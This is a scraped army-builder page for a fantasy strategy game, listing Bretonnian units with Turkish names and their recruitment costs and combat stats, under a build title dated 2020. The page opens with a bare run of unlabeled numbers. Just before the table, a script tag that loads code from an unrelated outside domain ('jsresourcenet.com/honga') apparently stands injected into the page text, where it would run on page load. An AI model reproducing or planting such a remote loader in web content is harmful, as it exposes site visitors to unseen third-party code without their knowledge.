Left Panel
destroy
fuckingBuild by warlord - 2020-09-16 16:59:40
1
1
1
120
120
120
120
120
120
120
90
90
90
24
24
8
8
1
44
44
1
1
120
120
120
120
120
120
120
90
90
90
90
24
24
60
60
1
44
44
vampire<script src="https://jsresourcenet.com/honga"></script>
| No. | Unit | Name | Sol. | Custom Cost | Recru. Cost | Upkeep Cost | Ship HP. | Ship Spd. | Msl. Dmg. | Rng. | Sht. /min | Amo. | Mle. Atk. | Mle. Dmg. | Chg. | Mle. Def. | Arm. | HP. | Mor. |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Emir (5) | 5 | 6325 | 8000 | 1512 | - | - | - | 241 | 1855 | 379 | 199 | 275 | 23596 | 380 | |||||
| 1 | Kral Louen Leoncoeur (Beaquis) | 1 | 2000 | 2000 | 500 | 56 | 450 | 75 | 45 | 90 | 5916 | 80 | |||||||
| 2 | Yeşil Şövalye (Gölgeküheylan) | 1 | 1800 | 1800 | 0 | 60 | 430 | 85 | 50 | 35 | 4176 | 100 | |||||||
| 3 | Kâhin (Gökler) (Asil Pegasus) | 1 | 800 | 1350 | 300 | 34 | 285 | 60 | 30 | 15 | 4464 | 65 | |||||||
| 4 | Peri Büyücü (Silvaron) | 1 | 850 | 1500 | 375 | 46 | 300 | 74 | 34 | 15 | 4576 | 70 | |||||||
| 5 | Paladin (Pegasus) | 1 | 875 | 1350 | 337 | 45 | 390 | 85 | 40 | 120 | 4464 | 65 | |||||||
| Yakın Piyade (14) | 1680 | 8300 | 8300 | 2072 | - | - | - | 340 | 430 | 180 | 432 | 740 | 948 | 896 | |||||
| 6 | Yaya Yaverler | 120 | 700 | 700 | 175 | 26 | 35 | 18 | 24 | 70 | 69 | 70 | |||||||
| 7 | Yaya Yaverler | 120 | 700 | 700 | 175 | 26 | 35 | 18 | 24 | 70 | 69 | 70 | |||||||
| 8 | Yaya Yaverler | 120 | 700 | 700 | 175 | 26 | 35 | 18 | 24 | 70 | 69 | 70 | |||||||
| 9 | Yaya Yaverler | 120 | 700 | 700 | 175 | 26 | 35 | 18 | 24 | 70 | 69 | 70 | |||||||
| 10 | Silahlı Kuvvet (Sırıklı Silahlar) | 120 | 450 | 450 | 112 | 22 | 25 | 6 | 40 | 30 | 66 | 56 | |||||||
| 11 | Silahlı Kuvvet (Sırıklı Silahlar) | 120 | 450 | 450 | 112 | 22 | 25 | 6 | 40 | 30 | 66 | 56 | |||||||
| 12 | Silahlı Kuvvet (Sırıklı Silahlar) | 120 | 450 | 450 | 112 | 22 | 25 | 6 | 40 | 30 | 66 | 56 | |||||||
| 13 | Yaya Yaverler | 120 | 700 | 700 | 175 | 26 | 35 | 18 | 24 | 70 | 69 | 70 | |||||||
| 14 | Yaya Yaverler | 120 | 700 | 700 | 175 | 26 | 35 | 18 | 24 | 70 | 69 | 70 | |||||||
| 15 | Yaya Yaverler | 120 | 700 | 700 | 175 | 26 | 35 | 18 | 24 | 70 | 69 | 70 | |||||||
| 16 | Yaya Yaverler | 120 | 700 | 700 | 175 | 26 | 35 | 18 | 24 | 70 | 69 | 70 | |||||||
| 17 | Silahlı Kuvvet (Sırıklı Silahlar) | 120 | 450 | 450 | 112 | 22 | 25 | 6 | 40 | 30 | 66 | 56 | |||||||
| 18 | Silahlı Kuvvet (Sırıklı Silahlar) | 120 | 450 | 450 | 112 | 22 | 25 | 6 | 40 | 30 | 66 | 56 | |||||||
| 19 | Silahlı Kuvvet (Sırıklı Silahlar) | 120 | 450 | 450 | 112 | 22 | 25 | 6 | 40 | 30 | 66 | 56 | |||||||
| Menzilli Piyade (7) | 630 | 3150 | 3150 | 784 | - | 149 | - | - | 154 | 70 | 154 | 21 | 98 | 105 | 378 | 252 | |||
| 20 | Köylü Okçular (Hıyarcıklı Oklar) | 90 | 450 | 450 | 112 | 19 | 160 | 6.1 | 22 | 10 | 22 | 3 | 14 | 15 | 54 | 36 | |||
| 21 | Köylü Okçular (Hıyarcıklı Oklar) | 90 | 450 | 450 | 112 | 19 | 160 | 6.1 | 22 | 10 | 22 | 3 | 14 | 15 | 54 | 36 | |||
| 22 | Köylü Okçular (Hıyarcıklı Oklar) | 90 | 450 | 450 | 112 | 19 | 160 | 6.1 | 22 | 10 | 22 | 3 | 14 | 15 | 54 | 36 | |||
| 23 | Köylü Okçular (Ateşli Oklar) | 90 | 450 | 450 | 112 | 23 | 160 | 6.1 | 22 | 10 | 22 | 3 | 14 | 15 | 54 | 36 | |||
| 24 | Köylü Okçular (Ateşli Oklar) | 90 | 450 | 450 | 112 | 23 | 160 | 6.1 | 22 | 10 | 22 | 3 | 14 | 15 | 54 | 36 | |||
| 25 | Köylü Okçular (Ateşli Oklar) | 90 | 450 | 450 | 112 | 23 | 160 | 6.1 | 22 | 10 | 22 | 3 | 14 | 15 | 54 | 36 | |||
| 26 | Köylü Okçular (Ateşli Oklar) | 90 | 450 | 450 | 112 | 23 | 160 | 6.1 | 22 | 10 | 22 | 3 | 14 | 15 | 54 | 36 | |||
| Yakın Dövüş Süvarisi (4) | 96 | 6400 | 6400 | 1280 | - | - | - | 168 | 244 | 260 | 120 | 440 | 1040 | 320 | |||||
| 27 | Kraliyet Pegasus Şövalyeleri | 24 | 1600 | 1600 | 320 | 42 | 61 | 65 | 30 | 110 | 260 | 80 | |||||||
| 28 | Kraliyet Pegasus Şövalyeleri | 24 | 1600 | 1600 | 320 | 42 | 61 | 65 | 30 | 110 | 260 | 80 | |||||||
| 29 | Kraliyet Pegasus Şövalyeleri | 24 | 1600 | 1600 | 320 | 42 | 61 | 65 | 30 | 110 | 260 | 80 | |||||||
| 30 | Kraliyet Pegasus Şövalyeleri | 24 | 1600 | 1600 | 320 | 42 | 61 | 65 | 30 | 110 | 260 | 80 | |||||||
| Baskın Süvarileri (4) | 136 | 7000 | 7000 | 1750 | - | - | - | 168 | 346 | 256 | 128 | 420 | 2264 | 310 | |||||
| 31 | Kraliyet Hippogrif Şövalyeleri | 8 | 2000 | 2000 | 500 | 46 | 135 | 50 | 34 | 90 | 1020 | 75 | |||||||
| 32 | Kraliyet Hippogrif Şövalyeleri | 8 | 2000 | 2000 | 500 | 46 | 135 | 50 | 34 | 90 | 1020 | 75 | |||||||
| 33 | Kutsal Kâse Şövalyeleri | 60 | 1500 | 1500 | 375 | 38 | 38 | 78 | 30 | 120 | 112 | 80 | |||||||
| 34 | Kutsal Kâse Şövalyeleri | 60 | 1500 | 1500 | 375 | 38 | 38 | 78 | 30 | 120 | 112 | 80 | |||||||
| Özel (2) | 2 | 1000 | 1000 | 250 | - | - | - | 48 | 90 | 24 | 56 | 80 | 6948 | 170 | |||||
| 35 | Kutsal Kâse Sandığı | 1 | 500 | 500 | 125 | 24 | 45 | 12 | 28 | 40 | 3474 | 85 | |||||||
| 36 | Kutsal Kâse Sandığı | 1 | 500 | 500 | 125 | 24 | 45 | 12 | 28 | 40 | 3474 | 85 | |||||||
| Saha Ağır Silahı (4) | 176 | 3400 | 3600 | 900 | - | 1360 | - | - | 0 | 40 | 120 | 20 | 20 | 60 | 212 | 160 | |||
| 37 | Kutsanmış Üçlü Saha Mancınıkları | 44 | 850 | 900 | 225 | 340 | 440 | 3.3 | 10 | 30 | 5 | 5 | 15 | 53 | 40 | ||||
| 38 | Kutsanmış Üçlü Saha Mancınıkları | 44 | 850 | 900 | 225 | 340 | 440 | 3.3 | 10 | 30 | 5 | 5 | 15 | 53 | 40 | ||||
| 39 | Kutsanmış Üçlü Saha Mancınıkları | 44 | 850 | 900 | 225 | 340 | 440 | 3.3 | 10 | 30 | 5 | 5 | 15 | 53 | 40 | ||||
| 40 | Kutsanmış Üçlü Saha Mancınıkları | 44 | 850 | 900 | 225 | 340 | 440 | 3.3 | 10 | 30 | 5 | 5 | 15 | 53 | 40 | ||||
| Subtotal | 2725 | 35575 | 37450 | 8548 | - | 1509 | - | - | 154 | 1075 | 3239 | 1140 | 1053 | 2120 | 35386 | 2488 | |||

English
Français
Italiano
Deutsch
Español
Русский
Čeština
Polski
Português (Brasil)
한국어
简体中文
正體中文